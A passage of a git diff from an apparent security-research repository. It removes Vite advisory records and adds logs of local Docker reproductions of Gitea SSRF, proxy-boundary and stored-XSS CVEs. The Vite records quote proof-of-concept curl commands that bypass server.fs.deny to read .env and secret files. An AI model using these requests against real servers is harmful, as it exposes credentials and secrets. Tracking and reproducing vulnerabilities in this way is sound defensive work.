--path-as-is 'http://localhost:5173/secret_files/secret.html'`\n\nYou will receive the contents of secret_files/secret.html.", - "published_at": "2025-09-09T20:54:42Z", - "updated_at": "2026-02-04T04:35:16.287471Z", - "severity": "medium", - "cvss_score": 4.0, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-58752", - "https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f", - "https://github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e", - "https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea", - "https://github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6", - "https://github.com/vitejs/vite", - "https://github.com/vitejs/vite/blob/v7.1.5/packages/vite/CHANGELOG.md" - ], - "aliases": [ - "CVE-2025-58752", - "GHSA-jqfw-vq24-v9c3" - ], - "cve_ids": [ - "CVE-2025-58752" - ], - "ghsa_ids": [ - "GHSA-jqfw-vq24-v9c3" - ], - "osv_ids": [ - "GHSA-jqfw-vq24-v9c3" - ], - "affected_versions": [ - "introduced=7.1.0, fixed<7.1.5", - "introduced=7.0.0, fixed<7.0.7", - "introduced=6.0.0, fixed<6.3.6", - "introduced=0, fixed<5.4.20" - ], - "fixed_versions": [ - "7.1.5", - "7.0.7", - "6.3.6", - "5.4.20" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-58752.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary", - "plugin-extension-trust-policy" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-62522.json b/08-threat-intel/registry/advisories/vite--CVE-2025-62522.json deleted file mode 100644 index d9f30800..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-62522.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-62522", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "vite allows server.fs.deny bypass via backslash on Windows", - "summary": "### Summary\nFiles denied by [`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny) were sent if the URL ended with `\\` when the dev server is running on Windows.\n\n### Impact\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- running the dev server on Windows\n\n### Details\n`server.fs.deny` can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass by using a back slash(`\\`). The root cause is that `fs.readFile('/foo.png/')` loads `/foo.png`.\n\n### PoC\n```shell\nnpm create vite@latest\ncd vite-project/\ncat \"secret\" > .env\nnpm install\nnpm run dev\ncurl --request-target /.env\\ http://localhost:5173\n```\n\"image\"", - "published_at": "2025-10-20T19:54:28Z", - "updated_at": "2026-02-04T04:13:38.886554Z", - "severity": "medium", - "cvss_score": 4.0, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-62522", - "https://github.com/vitejs/vite/commit/f479cc57c425ed41ceb434fecebd63931b1ed4ed", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-62522", - "GHSA-93m4-6634-74q7" - ], - "cve_ids": [ - "CVE-2025-62522" - ], - "ghsa_ids": [ - "GHSA-93m4-6634-74q7" - ], - "osv_ids": [ - "GHSA-93m4-6634-74q7" - ], - "affected_versions": [ - "introduced=7.1.0, fixed<7.1.11", - "introduced=7.0.0, fixed<7.0.8", - "introduced=6.0.0, fixed<6.4.1", - "introduced=2.9.18, fixed<5.4.21", - "introduced=3.2.9, fixed<5.4.21", - "introduced=4.5.3, fixed<5.4.21", - "introduced=5.2.6, fixed<5.4.21" - ], - "fixed_versions": [ - "7.1.11", - "7.0.8", - "6.4.1", - "5.4.21" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-62522.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "file-upload-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-15192-20260318012749.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-15192-20260318012749.json new file mode 100644 index 00000000..608bc45a --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-15192-20260318012749.json @@ -0,0 +1,145 @@ +{ + "run_id": "gitea-gitea--CVE-2018-15192-20260318012749", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2018-15192", + "repro_profile_id": "gitea-ssrf", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:27:49+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2018-15192" + }, + { + "at": "2026-03-18T01:27:49+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-ssrf" + }, + { + "at": "2026-03-18T01:27:49+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:27:54+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:27:54+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2018-15192-20260318012749" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:27:49+00:00", + "finished_at": "2026-03-18T01:27:54+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-18926-20260318012526.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-18926-20260318012526.json new file mode 100644 index 00000000..255a769d --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2018-18926-20260318012526.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2018-18926-20260318012526", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2018-18926", + "repro_profile_id": "gitea-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "baseline_title": "Gitea Proxy Boundary Fixture", + "proof_title": "Gitea Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:25:26+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2018-18926" + }, + { + "at": "2026-03-18T01:25:26+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-proxy-boundary" + }, + { + "at": "2026-03-18T01:25:27+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:25:41+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:25:43+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:25:43+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:25:45+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:25:45+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2018-18926-20260318012526" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:25:26+00:00", + "finished_at": "2026-03-18T01:25:45+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2019-1010261-20260318012624.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2019-1010261-20260318012624.json new file mode 100644 index 00000000..800fc33d --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2019-1010261-20260318012624.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2019-1010261-20260318012624", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2019-1010261", + "repro_profile_id": "gitea-xss", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "baseline_title": "Gitea Stored XSS Fixture", + "proof_title": "Gitea Stored XSS Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:26:24+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2019-1010261" + }, + { + "at": "2026-03-18T01:26:24+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-xss" + }, + { + "at": "2026-03-18T01:26:24+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:26:28+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:26:28+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:26:29+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:26:29+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:26:30+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:26:30+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2019-1010261-20260318012624" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:26:24+00:00", + "finished_at": "2026-03-18T01:26:30+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2020-13246-20260318012806.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2020-13246-20260318012806.json new file mode 100644 index 00000000..e2b01700 --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2020-13246-20260318012806.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2020-13246-20260318012806", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2020-13246", + "repro_profile_id": "gitea-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + 